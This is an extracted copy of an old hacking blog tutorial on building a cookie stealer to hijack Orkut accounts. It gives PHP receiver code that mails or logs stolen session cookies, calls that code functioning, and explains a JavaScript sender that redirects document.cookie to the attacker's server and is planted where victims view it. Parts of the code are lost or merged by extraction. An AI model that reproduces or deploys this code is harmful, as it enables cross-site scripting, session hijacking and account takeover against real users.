8/14/2019 How to Make Cookies and Hack Orkut Accounts
1/2
How to make cookies and hack Orkut
accounts
How to Make a Cookie Stealer
Introduction
Exactly how does a cookie stealer work, anyway? There are two
components in acookie stealer: the sender and the receiver.
The sender can take many forms. In essense, it's just a link to
the receiver with the
cookie somehow attached. It can sometimes be difficult to find a
way to implementthe sender.
The receiver, as the name suggests, is a device which receives
the cookie from thesender. It can also take several forms, but the
most common is that of a PHPdocument, most commonly found residing
on some obscure webserver.
Step One: The Code
Coding a receiver is the part with which most newbies struggle.
Only two things are
needed to make a receiver: a webhost which supports PHP, and
Notepad (see the endof the text for a link to some free PHP
hosts).
As I said in the introduction, the receiver's job is to receive
the cookie from thesender. The easiest way to send information to a
PHP document is by using the HTTPGET method, which appends
information to the end of the URL as a parameter (forexample,
"page.php?arg1=value"). PHP can access GET information by
accessing$HTTP_GET_VARS[x], where x is a string containing the name
of the argument.
Once the receiver has the cookie, it needs a way to get that
cookie to you. The twomost common ways of doing this are sending it
in an email, and storing it in a log.
We'll look at both.
First, let's look at sending it in an email. Here is what such a
beast would look like(functioning code):
$cookie = $HTTP_GET_VARS["cookie"]; // line
2mail("[email protected]", "Cookie stealer report", $cookie); // line
3?> // line 4
Line 1 tells the server that this is indeed a PHP document.Line
2 takes the cookie from the URL ("stealer.php?cookie=x") and stores
it in the
http://learn-how-to-hack.blogspot.com/2008/10/how-to-make-cookies-and-hack-orkut.htmlhttp://learn-how-to-hack.blogspot.com/2008/10/how-to-make-cookies-and-hack-orkut.htmlhttp://learn-how-to-hack.blogspot.com/2008/10/how-to-make-cookies-and-hack-orkut.htmlhttp://learn-how-to-hack.blogspot.com/2008/10/how-to-make-cookies-and-hack-orkut.html
8/14/2019 How to Make Cookies and Hack Orkut Accounts
2/2
variable $cookie.Line 3 accesses PHP's mail() function and sends
the cookie to "[email protected]"with the subject of "Cookie stealer
report".Line 4 tells the server that the PHP code ends here.
Next, we'll look at my preferred method, which is storing the
cookie in a logfile.(functioning code)
$cookie = $HTTP_GET_VARS["cookie"]; // line 2$file =
fopen('cookielog.txt', 'a'); // line 3fwrite($file, $cookie .
"\n\n"); // line 4?> // line 5
Lines 1 and 2 are the same as before.
Line 3 opens the file "cookielog.txt" for writing, then stores
the file's handle in $file.Line 4 writes the cookie to the file
which has its handle in $file. The period between$cookie and "\n\n"
combines the two strings as one. The "\n\n" acts as a double
line-
break, making it easier for us to sift through the log file.Line
5 is the same as before.
Step Two: Implementing the Stealer
The hardest part (usually) of making a cookie stealer is finding
a way to use thesender. The simplest method requires use of HTML
and JavaScript, so you have to besure that your environment
supports those two. Here is an example of a sender.
/ Line 3
Line 1 tells the browser that the following chunk of code is to
be interpereted asJavaScript.Line 2 adds document.cookie to the end
of the URL, which is then stored indocument.location. Whenever
document.location is changed, the browser is redirectedto that
URL.
Line 3 tells the browser to stop reading the code as JavaScript
(return to HTML).
There are two main ways of implementing the sender:
You can plant your sender where the victim will view it as an
HTML document withhis browser. In order to do that, you have to
find some way to actually post the codesomewhere on the site.
